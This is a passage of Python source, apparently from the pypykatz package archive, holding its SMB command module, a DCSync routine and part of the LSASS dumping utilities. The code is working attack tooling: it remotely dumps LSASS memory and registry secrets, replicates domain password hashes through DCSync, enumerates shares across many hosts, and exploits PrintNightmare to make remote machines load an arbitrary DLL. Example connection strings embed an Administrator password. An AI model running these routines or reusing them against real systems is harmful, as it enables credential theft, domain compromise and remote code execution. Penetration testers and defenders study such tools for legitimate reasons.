Example: 'smb2+ntlm-password://TEST\\Administrator:QLFbT8zkiFGlJuf0B3Qq@10.10.10.102'") smb_lsassdump_group.add_argument('-m','--method', choices=['task', 'service'] , default = 'task', help = 'Print credentials in JSON format') smb_lsassdump_group.add_argument('--json', action='store_true',help = 'Print credentials in JSON format') smb_lsassdump_group.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)') smb_lsassdump_group.add_argument('-k', '--kerberos-dir', help = 'Save kerberos tickets to a directory.') smb_lsassdump_group.add_argument('-g', '--grep', action='store_true', help = 'Print credentials in greppable format') smb_lsassdump_group.add_argument('--chunksize', type=int, default=64*1024, help = 'Chunksize for file data retrival') smb_lsassdump_group.add_argument('-p','--packages', choices = ['all','msv', 'wdigest', 'tspkg', 'ssp', 'livessp', 'dpapi', 'cloudap'], nargs="+", default = 'all', help = 'LSASS package to parse') smb_lsassdump_group.add_argument('-t', '--target', nargs='*', help="Files/IPs/Hostnames for targets") smb_lsassdump_group.add_argument('-w', '--worker-count', type=int, default = 10, help="Number of parallell enum workers. Always one worker/host") smb_regfile_group = smb_subparsers.add_parser('regfile', help='Parse a remote registry hive dumps') smb_regfile_group.add_argument('url', help="SMB connection string with folder in path field. Example: 'smb2+ntlm-password://TEST\\Administrator:QLFbT8zkiFGlJuf0B3Qq@10.10.10.102/C$/Users/victim/Desktop/'") smb_regfile_group.add_argument('system', help='path to the SYSTEM registry hive') smb_regfile_group.add_argument('--sam', help='path to the SAM registry hive') smb_regfile_group.add_argument('--security', help='path to the SECURITY registry hive') smb_regfile_group.add_argument('--software', help='path to the SOFTWARE registry hive') smb_regfile_group.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)') smb_regfile_group.add_argument('--json', action='store_true',help = 'Print credentials in JSON format') smb_regsec_group = smb_subparsers.add_parser('regdump', help='Remotely dumps and parses registry') smb_regsec_group.add_argument('url', help="SMB connection string. Example: 'smb2+ntlm-password://TEST\\Administrator:QLFbT8zkiFGlJuf0B3Qq@10.10.10.102'") smb_regsec_group.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)') smb_regsec_group.add_argument('--json', action='store_true',help = 'Print credentials in JSON format') smb_regsec_group.add_argument('-t', '--target', nargs='*', help="Files/IPs/Hostnames for targets") smb_regsec_group.add_argument('-w', '--worker-count', type=int, default = 10, help="Number of parallell enum workers. Always one worker/host") smb_dcsync_group = smb_subparsers.add_parser('dcsync', help='DcSync') smb_dcsync_group.add_argument('url', help="SMB connection string. Example: 'smb2+ntlm-password://TEST\\Administrator:QLFbT8zkiFGlJuf0B3Qq@10.10.10.2'") smb_dcsync_group.add_argument('-u', '--username', help='taget username') smb_dcsync_group.add_argument('-o', '--outfile', help = 'Save results to file') smb_secretsdump_group = smb_subparsers.add_parser('secretsdump', help='secretsdump') smb_secretsdump_group.add_argument('url', help="SMB connection string. Example: 'smb2+ntlm-password://TEST\\Administrator:QLFbT8zkiFGlJuf0B3Qq@10.10.10.102/'") smb_secretsdump_group.add_argument('--json', action='store_true',help = 'Print credentials in JSON format') smb_secretsdump_group.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)') smb_secretsdump_group.add_argument('-k', '--kerberos-dir', help = 'Save kerberos tickets to a directory.') smb_secretsdump_group.add_argument('-g', '--grep', action='store_true', help = 'Print credentials in greppable format') smb_secretsdump_group.add_argument('--chunksize', type=int, default=64*1024, help = 'Chunksize for file data retrival') smb_secretsdump_group.add_argument('-p','--packages', choices = ['all','msv', 'wdigest', 'tspkg', 'ssp', 'livessp', 'dpapi', 'cloudap'], nargs="+", default = 'all', help = 'LSASS package to parse') smb_shareenum_parser = smb_subparsers.add_parser('shareenum', help = 'SMB share enumerator') smb_shareenum_parser.add_argument('-v', '--verbose', action='count', default=0, help='Verbosity, can be stacked') smb_shareenum_parser.add_argument('--depth', type=int, default =3, help="Maximum level of folders to enum") smb_shareenum_parser.add_argument('--maxitems', type=int, default = None, help="Maximum number of items per forlder to enumerate") smb_shareenum_parser.add_argument('--dirsd', action='store_true', help="Fetch Security Descriptors for folders") smb_shareenum_parser.add_argument('--filesd', action='store_true', help="Fetch Security Descriptors for files") smb_shareenum_parser.add_argument('-w', '--worker-count', type=int, default = 10, help="Number of parallell enum workers. Always one worker/host") smb_shareenum_parser.add_argument('-l', '--ldap', help="Use LDAP to get a list of machines to enumerate. This will return dns names so be carefule to have a correct DNS server config!") smb_shareenum_parser.add_argument('--progress', action='store_true', help="Progress bar. Please use it with output-file set!") smb_shareenum_parser.add_argument('-o','--out-file', help="Output file") smb_shareenum_parser.add_argument('--json', action='store_true', help="Output format is JSON") smb_shareenum_parser.add_argument('--tsv', action='store_true', help="Output format is TSV") smb_shareenum_parser.add_argument('-t', '--target', nargs='*', help="Files/IPs/Hostnames for targets. Can be omitted if LDAP is used") smb_shareenum_parser.add_argument('--max-runtime', type=int, default = None, help="Maximum runtime per host (in seconds)") smb_shareenum_parser.add_argument('--es', '--exclude-share', nargs='*', help = 'Exclude shares with name specified') smb_shareenum_parser.add_argument('--ed', '--exclude-dir', nargs='*', help = 'Exclude directories with name specified') smb_shareenum_parser.add_argument('--et', '--exclude-target', nargs='*', help = 'Exclude hosts from enumeration') smb_shareenum_parser.add_argument('smb_url', help = 'SMB connection string. Credentials specified here will be used to perform the enumeration') printnightmare_group = smb_subparsers.add_parser('printnightmare', help='printnightmare') printnightmare_group.add_argument('url', help="SMB connection string. Example: 'smb2+ntlm-password://TEST\\Administrator:QLFbT8zkiFGlJuf0B3Qq@10.10.10.102/'") printnightmare_group.add_argument('dllpath', help='Path to the DLL to be loaded by the remote host. Either UNC (\\\\\\path\\to\\dll.dll) or Full file path on the remote computer (C:\\path\\to\\dll.dll). Latter is useful if you have write permissions on the remote machine') printnightmare_group.add_argument('--authmethod', choices=['ntlm', 'kerberos'], default = 'kerberos', help= 'Authentication method to use during login. If kerberos is used, the target must be DNS or hostname, NOT IP address!') printnightmare_group.add_argument('--protocol-version', choices=['2', '3'], default = '2', help= 'SMB protocol version. SMB1 is not supported.') parprintnightmare_group = smb_subparsers.add_parser('parprintnightmare', help='par printnightmare') parprintnightmare_group.add_argument('url', help="SMB connection string. Example: 'smb2+ntlm-password://TEST\\Administrator:QLFbT8zkiFGlJuf0B3Qq@10.10.10.102/'") parprintnightmare_group.add_argument('dllpath', help='Path to the DLL to be loaded by the remote host. Either UNC (\\\\\\path\\to\\dll.dll) or Full file path on the remote computer (C:\\path\\to\\dll.dll). Latter is useful if you have write permissions on the remote machine') parprintnightmare_group.add_argument('--authmethod', choices=['ntlm', 'kerberos'], default = 'kerberos', help= 'Authentication method to use during login. If kerberos is used, the target must be DNS or hostname, NOT IP address!') parprintnightmare_group.add_argument('--protocol-version', choices=['2', '3'], default = '2', help= 'SMB protocol version. SMB1 is not supported.') live_subcommand_parser = argparse.ArgumentParser(add_help=False) live_smb_subparsers = live_subcommand_parser.add_subparsers(help = 'LIVE SMB commands work under the current user context.') live_smb_subparsers.required = True live_smb_subparsers.dest = 'livesmbcommand' live_client_parser = live_smb_subparsers.add_parser('client', help = 'SMB (live) client. Use "help" instead of "-h" to get the available subcommands') live_client_parser.add_argument('--authmethod', choices=['ntlm', 'kerberos'], default = 'ntlm', help= 'Authentication method to use during login') live_client_parser.add_argument('--protocol-version', choices=['2', '3'], default = '2', help= 'SMB protocol version. SMB1 is not supported.') live_client_parser.add_argument('-v', '--verbose', action='count', default=0, help='Verbosity, can be stacked') live_client_parser.add_argument('host', help='Target host to connect to') live_client_parser.add_argument('commands', nargs='*', help="!OPTIONAL! Takes a series of commands which will be executed until error encountered. If the command is 'i' is encountered during execution it drops back to interactive shell.") live_lsassdump_group = live_smb_subparsers.add_parser('lsassdump', help='Remotely dumps and parses LSASS') live_lsassdump_group.add_argument('host', help='Target host to connect to') live_lsassdump_group.add_argument('--authmethod', choices=['ntlm', 'kerberos'], default = 'kerberos', help= 'Authentication method to use during login. If kerberos is used, the target must be DNS or hostname, NOT IP address!') live_lsassdump_group.add_argument('--protocol-version', choices=['2', '3'], default = '2', help= 'SMB protocol version. SMB1 is not supported.') live_lsassdump_group.add_argument('-m','--method', choices=['task', 'service'] , default = 'task', help = 'Print credentials in JSON format') live_lsassdump_group.add_argument('--json', action='store_true',help = 'Print credentials in JSON format') live_lsassdump_group.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)') live_lsassdump_group.add_argument('-k', '--kerberos-dir', help = 'Save kerberos tickets to a directory.') live_lsassdump_group.add_argument('-g', '--grep', action='store_true', help = 'Print credentials in greppable format') live_lsassdump_group.add_argument('--chunksize', type=int, default=64*1024, help = 'Chunksize for file data retrival') live_lsassdump_group.add_argument('-p','--packages', choices = ['all','msv', 'wdigest', 'tspkg', 'ssp', 'livessp', 'dpapi', 'cloudap'], nargs="+", default = 'all', help = 'LSASS package to parse') live_lsassdump_group.add_argument('-t', '--target', nargs='*', help="Files/IPs/Hostnames for targets") live_lsassdump_group.add_argument('-w', '--worker-count', type=int, default = 10, help="Number of parallell enum workers. Always one worker/host") live_regsec_group = live_smb_subparsers.add_parser('regdump', help='Remotely dumps and parses registry') live_regsec_group.add_argument('host', help='Target host to connect to') live_regsec_group.add_argument('--authmethod', choices=['ntlm', 'kerberos'], default = 'kerberos', help= 'Authentication method to use during login. If kerberos is used, the target must be DNS or hostname, NOT IP address!') live_regsec_group.add_argument('--protocol-version', choices=['2', '3'], default = '2', help= 'SMB protocol version. SMB1 is not supported.') live_regsec_group.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)') live_regsec_group.add_argument('--json', action='store_true',help = 'Print credentials in JSON format') live_regsec_group.add_argument('-w', '--worker-count', type=int, default = 10, help="Number of parallell enum workers. Always one worker/host") live_regsec_group.add_argument('-t', '--target', nargs='*', help="Files/IPs/Hostnames for targets") live_dcsync_group = live_smb_subparsers.add_parser('dcsync', help='DcSync') live_dcsync_group.add_argument('host', help='Target host to connect to') live_dcsync_group.add_argument('--authmethod', choices=['ntlm', 'kerberos'], default = 'kerberos', help= 'Authentication method to use during login. If kerberos is used, the target must be DNS or hostname, NOT IP address!') live_dcsync_group.add_argument('--protocol-version', choices=['2', '3'], default = '2', help= 'SMB protocol version. SMB1 is not supported.') live_dcsync_group.add_argument('-u', '--username', help='taget username') live_dcsync_group.add_argument('-o', '--outfile', help = 'Save results to file') live_secretsdump_group = live_smb_subparsers.add_parser('secretsdump', help='secretsdump') live_secretsdump_group.add_argument('host', help='Target host to connect to') live_secretsdump_group.add_argument('--authmethod', choices=['ntlm', 'kerberos'], default = 'kerberos', help= 'Authentication method to use during login. If kerberos is used, the target must be DNS or hostname, NOT IP address!') live_secretsdump_group.add_argument('--protocol-version', choices=['2', '3'], default = '2', help= 'SMB protocol version. SMB1 is not supported.') live_secretsdump_group.add_argument('--json', action='store_true',help = 'Print credentials in JSON format') live_secretsdump_group.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)') live_secretsdump_group.add_argument('-k', '--kerberos-dir', help = 'Save kerberos tickets to a directory.') live_secretsdump_group.add_argument('-g', '--grep', action='store_true', help = 'Print credentials in greppable format') live_secretsdump_group.add_argument('--chunksize', type=int, default=64*1024, help = 'Chunksize for file data retrival') live_secretsdump_group.add_argument('-p','--packages', choices = ['all','msv', 'wdigest', 'tspkg', 'ssp', 'livessp', 'dpapi', 'cloudap'], nargs="+", default = 'all', help = 'LSASS package to parse') live_shareenum_parser = live_smb_subparsers.add_parser('shareenum', help = 'SMB (live) share enumerator. THE DEFAULT SETTINGS ARE OPTIMIZED TO WORK ON DOMAIN-JOINED MACHINES. This will start enumeration using the current user credentials.') live_shareenum_parser.add_argument('--authmethod', choices=['ntlm', 'kerberos'], default = 'kerberos', help= 'Authentication method to use during login. If kerberos is used, the target must be DNS or hostname, NOT IP address!') live_shareenum_parser.add_argument('--protocol-version', choices=['2', '3'], default = '2', help= 'SMB protocol version. SMB1 is not supported.') live_shareenum_parser.add_argument('-v', '--verbose', action='count', default=0, help='Verbosity, can be stacked') live_shareenum_parser.add_argument('--depth', type=int, default =3, help="Maximum level of folders to enum") live_shareenum_parser.add_argument('--maxitems', type=int, default = None, help="Maximum number of items per forlder to enumerate") live_shareenum_parser.add_argument('--dirsd', action='store_true', help="Fetch Security Descriptors for folders") live_shareenum_parser.add_argument('--filesd', action='store_true', help="Fetch Security Descriptors for files") live_shareenum_parser.add_argument('-w', '--worker-count', type=int, default = 10, help="Number of parallell enum workers. Always one worker/host") live_shareenum_parser.add_argument('--skip-ldap', action='store_true', help="Skip fetching target hosts via LDAP") live_shareenum_parser.add_argument('--progress', action='store_true', help="Progress bar. Please use it with output-file set!") live_shareenum_parser.add_argument('-o','--out-file', help="Output file") live_shareenum_parser.add_argument('--json', action='store_true', help="Output format is JSON") live_shareenum_parser.add_argument('--tsv', action='store_true', help="Output format is TSV") live_shareenum_parser.add_argument('-t', '--target', nargs='*', help="Files/IPs/Hostnames for targets. Can be omitted if LDAP is used") live_shareenum_parser.add_argument('--max-runtime', type=int, default = None, help="Maximum runtime per host (in seconds)") live_shareenum_parser.add_argument('--es', '--exclude-share', nargs='*', help = 'Exclude shares with name specified') live_shareenum_parser.add_argument('--ed', '--exclude-dir', nargs='*', help = 'Exclude directories with name specified') live_shareenum_parser.add_argument('--et', '--exclude-target', nargs='*', help = 'Exclude hosts from enumeration') live_printnightmare_group = live_smb_subparsers.add_parser('printnightmare', help='printnightmare') live_printnightmare_group.add_argument('host', help='Target host to connect to') live_printnightmare_group.add_argument('dllpath', help='Path to the DLL to be loaded by the remote host. Either UNC (\\\\\\path\\to\\dll.dll) or Full file path on the remote computer (C:\\path\\to\\dll.dll). Latter is useful if you have write permissions on the remote machine') live_printnightmare_group.add_argument('--authmethod', choices=['ntlm', 'kerberos'], default = 'kerberos', help= 'Authentication method to use during login. If kerberos is used, the target must be DNS or hostname, NOT IP address!') live_printnightmare_group.add_argument('--protocol-version', choices=['2', '3'], default = '2', help= 'SMB protocol version. SMB1 is not supported.') live_parprintnightmare_group = live_smb_subparsers.add_parser('parprintnightmare', help='par printnightmare') live_parprintnightmare_group.add_argument('host', help='Target host to connect to') live_parprintnightmare_group.add_argument('dllpath', help='Path to the DLL to be loaded by the remote host. Either UNC (\\\\\\path\\to\\dll.dll) or Full file path on the remote computer (C:\\path\\to\\dll.dll). Latter is useful if you have write permissions on the remote machine') live_parprintnightmare_group.add_argument('--authmethod', choices=['ntlm', 'kerberos'], default = 'kerberos', help= 'Authentication method to use during login. If kerberos is used, the target must be DNS or hostname, NOT IP address!') live_parprintnightmare_group.add_argument('--protocol-version', choices=['2', '3'], default = '2', help= 'SMB protocol version. SMB1 is not supported.') live_group = live_parser.add_parser('smb', help='SMB (live) commands', epilog=smb_live_epilog, parents=[live_subcommand_parser]) def execute(self, args): if args.command in self.keywords: asyncio.run(self.run(args)) if len(self.live_keywords) > 0 and args.command == 'live' and args.module in self.live_keywords: asyncio.run(self.run_live(args)) async def run_live(self, args): if platform.system().lower() != 'windows': raise Exception('Live commands only work on Windows!') from aiosmb import logger as smblog from winacl.functions.highlevel import get_logon_info info = get_logon_info() if args.livesmbcommand != 'shareenum': smb_url = 'smb%s+sspi-%s://%s\\%s@%s' % (args.protocol_version, args.authmethod, info['domain'], info['username'], args.host) if args.verbose == 0: smblog.setLevel(100) elif args.verbose == 1: smblog.setLevel(level=logger.INFO) else: level = 5 - args.verbose smblog.setLevel(level=level) if args.livesmbcommand == 'client': from aiosmb.examples.smbclient import amain la = SMBCMDArgs() la.smb_url = smb_url la.verbose = args.verbose if args.commands is not None and len(args.commands) > 0: la.commands = [] if args.commands[0] == 'help': la.commands = ['help'] else: if args.commands[0] != 'login': la.commands.append('login') for command in args.commands: la.commands.append(command) await amain(la) elif args.livesmbcommand == 'lsassdump': from pypykatz.smb.lsassutils import lsassdump tmimis = await lsassdump(smb_url, chunksize=args.chunksize, packages=args.packages, method = args.method) for tid, mimi, err in tmimis: if err is not None: print('ERROR: %s' % err) self.process_results({'smbfile':mimi}, [], args) elif args.livesmbcommand == 'secretsdump': from pypykatz.smb.lsassutils import lsassdump from pypykatz.smb.regutils import regdump from pypykatz.smb.dcsync import dcsync try: mimi = await lsassdump(smb_url, chunksize=args.chunksize, packages=args.packages) if mimi is not None: self.process_results({'smbfile':mimi}, [], args, file_prefix='_lsass.txt') except Exception as e: logger.exception('[SECRETSDUMP] Failed to get LSASS secrets') try: po = await regdump(smb_url) if po is not None: if args.outfile: po.to_file(args.outfile+'_registry.txt', args.json) else: if args.json: print(json.dumps(po.to_dict(), cls = UniversalEncoder, indent=4, sort_keys=True)) else: print(str(po)) except Exception as e: logger.exception('[SECRETSDUMP] Failed to get registry secrets') try: if args.outfile is not None: outfile = open(args.outfile+'_dcsync.txt', 'w', newline = '') async for secret in dcsync(smb_url): if args.outfile is not None: outfile.write(str(secret)) else: print(str(secret)) except Exception as e: logger.exception('[SECRETSDUMP] Failed to perform DCSYNC') finally: if args.outfile is not None: outfile.close() elif args.livesmbcommand == 'dcsync': from pypykatz.smb.dcsync import dcsync if args.outfile is not None: outfile = open(args.outfile, 'w', newline = '') async for secret in dcsync(smb_url, args.username): if args.outfile is not None: outfile.write(str(secret)) else: print(str(secret)) if args.outfile is not None: outfile.close() elif args.livesmbcommand == 'regdump': from pypykatz.smb.regutils import regdump po = await regdump(smb_url) if po is not None: if args.outfile: po.to_file(args.outfile, args.json) else: if args.json: print(json.dumps(po.to_dict(), cls = UniversalEncoder, indent=4, sort_keys=True)) else: print(str(po)) elif args.livesmbcommand == 'parprintnightmare': from pypykatz.smb.printer import parprintnightmare _, err = await parprintnightmare(smb_url, args.dllpath) if err is not None: print('Parprintnightmare failed! %s' % err) return print('Parprintnightmare OK!') elif args.livesmbcommand == 'printnightmare': from pypykatz.smb.printer import printnightmare _, err = await printnightmare(smb_url, args.dllpath) if err is not None: print('Printnightmare failed! %s' % err) return print('Printnightmare OK!') elif args.livesmbcommand == 'shareenum': from pypykatz.smb.shareenum import shareenum output_type = 'str' if args.json is True: output_type = 'json' if args.tsv is True: output_type = 'tsv' exclude_share = [] if args.es is not None: exclude_share = args.es exclude_dir = [] if args.ed is not None: exclude_dir = args.ed ldap_url = 'auto' if args.skip_ldap is True: ldap_url = None exclude_target = [] if args.et is not None: exclude_target = args.et await shareenum( smb_url = 'auto', targets = args.target, smb_worker_count = args.worker_count, depth = args.depth, out_file = args.out_file, progress = args.progress, max_items = args.maxitems, dirsd = args.dirsd, filesd = args.filesd, authmethod = args.authmethod, protocol_version = args.protocol_version, output_type = output_type, max_runtime = args.max_runtime, exclude_share = exclude_share, exclude_dir = exclude_dir, ldap_url = ldap_url, exclude_target = exclude_target, ) async def run(self, args): from aiosmb import logger as smblog if args.verbose == 0: smblog.setLevel(100) elif args.verbose == 1: smblog.setLevel(level=logger.INFO) else: level = 5 - args.verbose smblog.setLevel(level=level) if args.smb_module == 'lsassfile': from pypykatz.smb.lsassutils import lsassfile mimi = await lsassfile(args.url, chunksize=args.chunksize, packages=args.packages) self.process_results({'smbfile':mimi}, [], args) elif args.smb_module == 'lsassdump': from pypykatz.smb.lsassutils import lsassdump async for tid, mimi, err in lsassdump( args.url, chunksize=args.chunksize, packages=args.packages, method = args.method, targets = args.target, worker_cnt = args.worker_count ): if err is not None: continue self.process_results({tid:mimi}, [], args) elif args.smb_module == 'secretsdump': from pypykatz.smb.lsassutils import lsassdump from pypykatz.smb.regutils import regdump from pypykatz.smb.dcsync import dcsync try: mimi = await lsassdump(args.url, chunksize=args.chunksize, packages=args.packages) if mimi is not None: self.process_results({'smbfile':mimi}, [], args, file_prefix='_lsass.txt') except Exception as e: logger.exception('[SECRETSDUMP] Failed to get LSASS secrets') try: po = await regdump(args.url) if po is not None: if args.outfile: po.to_file(args.outfile+'_registry.txt', args.json) else: if args.json: print(json.dumps(po.to_dict(), cls = UniversalEncoder, indent=4, sort_keys=True)) else: print(str(po)) except Exception as e: logger.exception('[SECRETSDUMP] Failed to get registry secrets') try: if args.outfile is not None: outfile = open(args.outfile+'_dcsync.txt', 'w', newline = '') async for secret in dcsync(args.url): if args.outfile is not None: outfile.write(str(secret)) else: print(str(secret)) except Exception as e: logger.exception('[SECRETSDUMP] Failed to perform DCSYNC') finally: if args.outfile is not None: outfile.close() elif args.smb_module == 'dcsync': from pypykatz.smb.dcsync import dcsync if args.outfile is not None: outfile = open(args.outfile, 'w', newline = '') async for secret in dcsync(args.url, args.username): if args.outfile is not None: outfile.write(str(secret)) else: print(str(secret)) if args.outfile is not None: outfile.close() elif args.smb_module == 'regdump': from pypykatz.smb.regutils import regdump async for tid, po, err in regdump(args.url, targets=args.target, worker_cnt = args.worker_count): if err is not None: if args.outfile: with open(args.outfile, 'a') as f: f.write('[%s][ERROR]%s' % (tid, str(err))) else: print('[%s][ERROR]%s' % (tid, str(err))) continue if po is not None: if args.outfile: po.to_file(args.outfile, args.json) else: if args.json: print(json.dumps(po.to_dict(), cls = UniversalEncoder, indent=4, sort_keys=True)) else: buffer = '' for line in str(po).split('\n'): buffer += '[%s] ' % tid buffer += line + '\r\n' print(buffer) elif args.smb_module == 'regfile': from pypykatz.smb.regutils import regfile po = await regfile(args.url, args.system, sam = args.sam, security = args.security, software = args.software) if po is not None: if args.outfile: po.to_file(args.outfile, args.json) else: if args.json: print(json.dumps(po.to_dict(), cls = UniversalEncoder, indent=4, sort_keys=True)) else: print(str(po)) elif args.smb_module == 'shareenum': from pypykatz.smb.shareenum import shareenum output_type = 'str' if args.json is True: output_type = 'json' if args.tsv is True: output_type = 'tsv' exclude_share = [] if args.es is not None: exclude_share = args.es exclude_dir = [] if args.ed is not None: exclude_dir = args.ed exclude_target = [] if args.et is not None: exclude_target = args.et await shareenum( args.smb_url, targets = args.target, smb_worker_count = args.worker_count, depth = args.depth, out_file = args.out_file, progress = args.progress, max_items = args.maxitems, dirsd = args.dirsd, filesd = args.filesd, output_type = output_type, max_runtime = args.max_runtime, exclude_share = exclude_share, exclude_dir = exclude_dir, ldap_url = args.ldap, exclude_target = exclude_target, ) elif args.smb_module == 'client': from aiosmb.examples.smbclient import amain la = SMBCMDArgs() la.smb_url = args.url la.verbose = args.verbose if args.commands is not None and len(args.commands) > 0: la.commands = [] if args.commands[0] == 'help': la.commands = ['help'] else: if args.commands[0] != 'login': la.commands.append('login') for command in args.commands: la.commands.append(command) await amain(la) elif args.smb_module == 'printnightmare': from pypykatz.smb.printer import printnightmare _, err = await printnightmare(args.url, args.dllpath) if err is not None: print('Printnightmare failed! %s' % err) return print('Printnightmare OK!') elif args.smb_module == 'parprintnightmare': from pypykatz.smb.printer import parprintnightmare _, err = await parprintnightmare(args.url, args.dllpath) if err is not None: print('Parprintnightmare failed! %s' % err) return print('Parprintnightmare OK!') def process_results(self, results, files_with_error, args, file_prefix = ''): if args.outfile and args.json: with open(args.outfile+file_prefix, 'a') as f: json.dump(results, f, cls = UniversalEncoder, indent=4, sort_keys=True) elif args.outfile and args.grep: with open(args.outfile+file_prefix, 'a', newline = '') as f: f.write(':'.join(['target'] + LogonSession.grep_header) + '\r\n') for result in results: for luid in results[result].logon_sessions: for row in results[result].logon_sessions[luid].to_grep_rows(): f.write(':'.join([result] + row) + '\r\n') elif args.outfile: with open(args.outfile+file_prefix, 'a') as f: for result in results: f.write('FILE: ======== %s =======\n' % result) for luid in results[result].logon_sessions: f.write('\n'+str(results[result].logon_sessions[luid])) if len(results[result].orphaned_creds) > 0: f.write('\n== Orphaned credentials ==\n') for cred in results[result].orphaned_creds: f.write(str(cred)) if len(files_with_error) > 0: f.write('\n== Failed to parse these files:\n') for filename in files_with_error: f.write('%s\n' % filename) elif args.json: print(json.dumps(results, cls = UniversalEncoder, indent=4, sort_keys=True)) elif args.grep: print(':'.join(['target'] + LogonSession.grep_header)) for result in results: for luid in results[result].logon_sessions: for row in results[result].logon_sessions[luid].to_grep_rows(): print(':'.join([result] + row)) for cred in results[result].orphaned_creds: t = cred.to_dict() if t['credtype'] != 'dpapi': if t['password'] is not None: x = [result , str(t['credtype']), str(t['domainname']), str(t['username']), '', '', '', '', '', str(t['password'])] print(':'.join(x)) else: t = cred.to_dict() x = [result, str(t['credtype']), '', '', '', '', '', str(t['masterkey']), str(t['sha1_masterkey']), str(t['key_guid']), ''] print(':'.join(x)) for pkg, err in results[result].errors: err_str = str(err) +'\r\n' + '\r\n'.join(traceback.format_tb(err.__traceback__)) err_str = base64.b64encode(err_str.encode()).decode() x = [result + pkg+'_exception_please_report', '', '', '', '', '', '', '', '', err_str] print(':'.join(x) + '\r\n') else: for result in results: print('FILE: ======== %s =======' % result) if isinstance(results[result], str): print(results[result]) else: for luid in results[result].logon_sessions: print(str(results[result].logon_sessions[luid])) if len(results[result].orphaned_creds) > 0: print('== Orphaned credentials ==') for cred in results[result].orphaned_creds: print(str(cred)) if len(results[result].errors) > 0: print('== Errors ==') for pkg, err in results[result].errors: err_str = str(err) +'\r\n' + '\r\n'.join(traceback.format_tb(err.__traceback__)) err_str = base64.b64encode(err_str.encode()).decode() print('%s %s' % (pkg+'_exception_please_report',err_str)) if len(files_with_error) > 0: print('\n==== Parsing errors:') for filename in files_with_error: print(filename) if args.kerberos_dir: dir = os.path.abspath(args.kerberos_dir) logger.info('Writing kerberos tickets to %s' % dir) for filename in results: base_filename = ntpath.basename(filename) ccache_filename = '%s_%s.ccache' % (base_filename, os.urandom(4).hex()) #to avoid collisions results[filename].kerberos_ccache.to_file(os.path.join(dir, ccache_filename)) for luid in results[filename].logon_sessions: for kcred in results[filename].logon_sessions[luid].kerberos_creds: for ticket in kcred.tickets: ticket.to_kirbi(dir) for cred in results[filename].orphaned_creds: if cred.credtype == 'kerberos': for ticket in cred.tickets: ticket.to_kirbi(dir)././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/smb/dcsync.py0000664000175000017500000000163114543266630017370 0ustar00webdevwebdevimport asyncio from pypykatz import logger async def dcsync(url, username = None): from aiosmb.commons.connection.factory import SMBConnectionFactory from aiosmb.commons.interfaces.machine import SMBMachine smburl = SMBConnectionFactory.from_url(url) connection = smburl.get_connection() users = [] if username is not None: users.append(username) async with connection: logger.debug('[DCSYNC] Connecting to server...') _, err = await connection.login() if err is not None: raise err logger.debug('[DCSYNC] Connected to server!') logger.debug('[DCSYNC] Running...') i = 0 async with SMBMachine(connection) as machine: async for secret, err in machine.dcsync(target_users=users): if err is not None: raise err i += 1 if i % 1000 == 0: logger.debug('[DCSYNC] Running... %s' % i) await asyncio.sleep(0) yield secret logger.debug('[DCSYNC] Finished!') ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/smb/lsassutils.py0000664000175000017500000001612614543266630020320 0ustar00webdevwebdevimport asyncio import os import itertools from aiosmb.examples.smbshareenum import SMBFileEnum, ListTargetGen, FileTargetGen def natatime(n, iterable, fillvalue = None): """Returns an iterator yielding `n` elements at a time. :param n: the number of elements to return at each iteration :param iterable: the iterable over which to iterate :param fillvalue: the value to use for missing elements :Example: >>> for (a,b,c) in natatime(3, [1,2,3,4,5], fillvalue = "?"): ... print a, b, c ... 1 2 3 4 5 ? """ stepped_slices = ( itertools.islice(iterable, i, None, n) for i in range(n) ) return itertools.zip_longest(*stepped_slices, fillvalue = fillvalue) from pypykatz import logger async def lsassfile(url, packages = ['all'], chunksize = 64*1024): from aiosmb.commons.connection.factory import SMBConnectionFactory from pypykatz.alsadecryptor.asbmfile import SMBFileReader from pypykatz.apypykatz import apypykatz smburl = SMBConnectionFactory.from_url(url) connection = smburl.get_connection() smbfile = smburl.get_file() async with connection: logger.debug('[LSASSFILE] Connecting to server...') _, err = await connection.login() if err is not None: raise err logger.debug('[LSASSFILE] Connected!') logger.debug('[LSASSFILE] Opening LSASS dump file...') _, err = await smbfile.open(connection) if err is not None: raise err logger.debug('[LSASSFILE] LSASS file opened!') logger.debug('[LSASSFILE] parsing LSASS file...') mimi = await apypykatz.parse_minidump_external(SMBFileReader(smbfile), chunksize=chunksize, packages = packages) logger.debug('[LSASSFILE] LSASS file parsed OK!') return mimi async def lsassdump(url, method = 'task', remote_base_path = 'C:\\Windows\\Temp\\', remote_share_name = '\\c$\\Windows\\Temp\\',chunksize = 64*1024, packages = ['all'], targets = [], worker_cnt = 5): from aiosmb.commons.connection.factory import SMBConnectionFactory base_url = None base_conn = None mimis = [] workers = [] tgens = [] if targets is not None and len(targets) != 0: notfile = [] if targets is not None: for target in targets: try: f = open(target, 'r') f.close() tgens.append(FileTargetGen(target)) except: notfile.append(target) if len(notfile) > 0: tgens.append(ListTargetGen(notfile)) if isinstance(url, SMBConnectionFactory): base_url = url base_conn = url.get_connection() else: base_url = SMBConnectionFactory.from_url(url) base_conn = base_url.get_connection() lsassdump_coro = lsassdump_single( base_conn.target.get_hostname_or_ip(), base_conn, method = method, remote_base_path = remote_base_path, remote_share_name = remote_share_name, chunksize = chunksize, packages = packages ) workers.append(lsassdump_coro) for tgen in tgens: async for _, target, err in tgen.generate(): tconn = base_url.create_connection_newtarget(target) lsassdump_coro = lsassdump_single( tconn.target.get_hostname_or_ip(), tconn, method = method, remote_base_path = remote_base_path, remote_share_name = remote_share_name, chunksize = chunksize, packages = packages ) workers.append(lsassdump_coro) if len(workers) >= worker_cnt: tres = await asyncio.gather(*workers) for res in tres: yield res workers = [] if len(workers) > 0: tres = await asyncio.gather(*workers) for res in tres: yield res workers = [] async def lsassdump_single(targetid, connection, method = 'task', remote_base_path = 'C:\\Windows\\Temp\\', remote_share_name = 